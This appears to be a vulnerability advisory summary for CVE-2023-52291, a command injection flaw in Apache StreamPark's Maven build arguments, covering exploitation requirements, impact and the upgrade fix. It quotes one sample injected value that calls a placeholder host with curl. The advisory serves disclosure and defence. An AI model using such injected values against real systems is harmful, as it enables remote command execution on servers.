Apache StreamPark (incubating): Unchecked maven build params could trigger remote command execution

Vulnerability

Overview

CVE-2023-52291 is a low-severity command injection vulnerability found in Apache StreamPark (incubating) versions 2.0.0 through 2.1.3. The flaw resides in the Project module, which integrates Maven's compilation capabilities. The input parameter for Maven build arguments is not rigorously validated, allowing an attacker to inject arbitrary operating system commands by using the '<' operator. For example, a malicious build arg like < (curl http://xxx.com) would be executed as a command injection [1][3].

Attack

Requirements and Exploitation

Exploitation of this vulnerability requires the attacker to be an authenticated user with system-level permissions within the StreamPark application. The attacker must have the ability to create or modify a project's Maven build configuration. The '<' character is typically used in shell command substitution contexts, and the application passes user-supplied build arguments to a shell without proper sanitization. This allows the attacker to break out of the intended command and execute arbitrary OS commands [1][3].

Impact

If successfully exploited, an authenticated attacker with sufficient privileges can achieve remote command execution on the server hosting StreamPark. This could lead to full compromise of the application and underlying system, including data exfiltration, lateral movement, or disruption of streaming processing workloads. However, the official advisory rates the risk as very low because it requires both authentication and elevated permissions, and typical users are unlikely to input dangerous commands manually [1][2].

Mitigation

The vulnerability is fixed in Apache StreamPark version 2.1.4, released in July 2024. The fix specifically blocks the '<' operator in Maven build arguments. Users running versions 2.0.0 through 2.1.3 should upgrade to 2.1.4 or later. No workarounds other than upgrading are documented [1][3].